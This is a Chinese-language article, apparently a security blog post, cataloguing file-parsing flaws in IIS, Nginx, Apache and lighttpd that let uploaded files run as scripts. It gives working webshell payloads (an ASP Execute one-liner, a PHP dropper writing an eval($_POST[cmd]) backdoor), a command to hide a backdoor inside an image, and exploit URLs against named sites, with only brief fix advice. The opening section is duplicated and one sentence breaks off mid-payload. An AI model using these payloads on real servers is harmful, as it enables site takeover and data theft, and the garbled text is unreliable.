注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
0x01 IIS 5.x/6.0解析漏洞 其中IIS 6.0解析利用方法有两种,目录解析后缀解析; (1) 第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。/xx.asp/xx.jpg
(2) 第二种,在IIS6.0下,分号后面的不被解析,IIS6.0 都会把此类后缀文件成功解析为 asp 文件wooyun.asp;.jpg
{ /xx.asp;.jpg 此类文件在Windows下不允许存在,;.jpg被自动除去,剩下/xx.asp }
文件解析构造: 默认解析:/xx.asa /xx.cer /xx.cdx IIS6.0 利用目录解析漏洞 除了asp还包含 : /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg Echo “<%Execute(request(“a”))%>”>> d:\webroot\1.cer
0x02 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞 nginx是一款高性能的web服务器,使用非常广泛其不仅经常被用作反向代理,也可以非常好的支持PHP的运行,Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的; 漏洞成因:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中fastcgi方式下 cgi.fix_pathinfo是开启的 cgi.fix_pathinfo=1.,
#涉及版本:php5.2.12 php 5.3.1(Default)
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
0x01 IIS 5.x/6.0解析漏洞 其中IIS 6.0解析利用方法有两种,目录解析后缀解析; (1) 第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。/xx.asp/xx.jpg
(2) 第二种,在IIS6.0下,分号后面的不被解析,IIS6.0 都会把此类后缀文件成功解析为 asp 文件wooyun.asp;.jpg
{ /xx.asp;.jpg 此类文件在Windows下不允许存在,;.jpg被自动除去,剩下/xx.asp }
文件解析构造: 默认解析:/xx.asa /xx.cer /xx.cdx IIS6.0 利用目录解析漏洞 除了asp还包含 : /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg Echo “<%Execute(request(“a”))%>”>> d:\webroot\1.cer
0x02 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞 nginx是一款高性能的web服务器,使用非常广泛其不仅经常被用作反向代理,也可以非常好的支持PHP的运行,Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的; 漏洞成因:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中fastcgi方式下 cgi.fix_pathinfo是开启的 cgi.fix_pathinfo=1.,
#涉及版本:php5.2.12 php 5.3.1(Default)
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为1 <?PHP fputs(fopen('shell.php' ,'w' ),'<?php eval($_POST[cmd])?>' );?>
的文件,在默认Fast-CGI开启状况下 ,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾1 2 3 4 5 copy xx.jpg /b + yy.txt /a xy.jpg /b 即二进制[binary]模式 /a 即ascii模式 xx.jpg正常图片文件 上传后访问: http://bbs.youxi.56.com/attachments/swfupload/1307311753b2bbb5703bb3deb3.jpg/.php
另外一种利用方法:http://www.oxen.com/evil.jpg/test.php 1 通过正则匹配, script_name会被设置为evil.jpg/test.php,然后传递给 php FASTcgi, php会认为script_name为evil.jpg,而test.php为path_info,然后php把evil.jpg当做一个php文件来解
修护建议: 如果厂家没有选择关闭cgi.fix_pathinfo的方式进行修补,有很多人的php-fastcgi是配置成”location ~ .*.(php|php5)?$”形式的。
使用cgi.fix_pathinfo=0的方式,一劳永逸,或者根据自己网站的php-fastcgi设置,定制一个url屏蔽列表。http://www.80sec.com/nginx-securit.html http://forum.dev.sdo.com/robots.txt/s.php5
0x03 Nginx <8.03 空字节代码执行漏洞 影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37 Nginx在图片中嵌入PHP代码然后通过访问;1 2 3 xxx.jpg%00.php http://bbs.youxi.56.com/attachments/swfupload/1307311753b2bbb5703bb3deb3.jpg%00.php
0x04 Apache解析漏洞 Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止.
后缀解析:test.php.x1.x2.x3 经验之谈:php|php3|phtml //多可被Apache解析
0x05 lighttpd 解析漏洞 类似于最上面的Ngnix的解析漏洞;xx.jpg/xx.php
0x06 其他文件解析漏洞 (1) 在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。
我记得Fckedit PHP 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}
(2) 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
SetHandler application/x-httpd-php #在追踪ip哪里使用到这个技术; 然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。